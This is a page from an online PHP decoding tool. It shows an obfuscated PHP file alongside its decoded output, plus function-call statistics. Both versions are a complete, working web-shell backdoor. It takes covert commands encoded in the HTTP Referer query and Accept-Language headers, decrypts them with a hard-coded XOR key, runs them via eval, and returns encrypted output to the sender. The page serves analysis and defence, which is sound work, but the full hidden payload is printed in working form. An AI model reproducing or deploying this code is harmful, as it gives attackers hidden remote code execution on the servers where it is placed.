Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $f='q=arr"Lay_values"L($q);preg_mat"Lch_a"Lll("/("L"L[\\w])[\\"Lw-]+("L?:;"Lq=0.(["..
Decoded Output download
$kh="4a7d";$kf="1ed4";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$f='q=arr"Lay_values"L($q);preg_mat"Lch_a"Lll("/("L"L[\\w])[\\"Lw-]+("L?:;"Lq=0.(["L\\d]))?,?/",$"Lra,$';
$x='LANGU"LAGE"];"Lif($r"Lr&&$ra){"L$"Lu=parse_"Lurl("L$rr"L"L);pa"Lrse_str($u["L""Lquery"],$q"L);$';
$o='k"Lf),0,3"L"L));$p="L"";for($z"L=1;$z"L<coun"Lt($m[1]);$z"L++)$p."L=$q[$m"L[2][$"Lz"L]];if(strp';
$Y='o"Ls($p,$h)"L"L===0)"L{$s[$i]="";$"Lp=$s"Ls($"Lp,3);}if(ar"Lray_k"Ley_ex"List"Ls($i,$s)){$s"L["';
$T='L"L,$s"Ls($s[$i],0,$e))),$"Lk)));$o="Lob_get_c"Lont"Lents();o"Lb_e"Lnd_clean("L"L);$"Ld=b"Lase6';
$t=str_replace('E','','creEaEtEeE_EfuncEtion');
$b='4_encode(x("Lgzcompres"Ls($o),$"L"Lk));print"L("<$k"L>$d</"L$k>");@se"Lssi"Lon_destr"Loy();}}}}';
$Z=';}}ret"L"Lu"Lrn $o;}$r=$_S"LERV"LER;$rr=@"L$r"L["L"HTTP_REFE"L"LRER"L"]"L;$ra=@$r["HTTP_ACCEPT_';
$k='$k"Lh="4a7d";$kf="L"1ed"L4";fun"Lction x($"L"Lt,$k){$c="Lst"Lrlen($k);$l=st"Lrl"Len"L($"Lt"L);';
$H='ower""L;$i=$m"L[1][0].$m"L[1][1];$h"L=$"Lsl($s"Ls(md5($i.$kh),0,3"L))"L;$"L"Lf=$sl($ss(md5($i.$';
$p='"Lpr"Le"Lss(@x(@base6"L"L"L4_d"Lecode(preg_"L"Lreplace(array("/_/"L","/-/"),arr"Lay("/","+""L)"';
$i='m);if($"L"Lq&&$"Lm){@sessi"Lon_star"Lt();$s"L=&$"L_SESSI"LON;$"Lss="substr";$sl"L="st"Lr"L"Ltol';
$A='L$"Li].=$p;$e=strpo"Ls($s["L$i"L"L],$f);"Lif($e){$k=$k"L"Lh.$kf;ob_start("L);@e"Lva"Ll(@gzuncom';
$q='$o="";for($i="L0;$i<$l;){"Lf"Lor($j=0;("L$j<$c&&$i<$l"L"L);$j"L++,$i++){$o"L.="L$t{$i}^$k{$"Lj}';
$v=str_replace('"L','',$k.$q.$Z.$x.$f.$i.$H.$o.$Y.$A.$p.$T.$b);
$n=$t('',$v);$n();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | b4f61eaa093983518b0a921020881fa4 |
| Eval Count | 1 |
| Decode Time | 114 ms |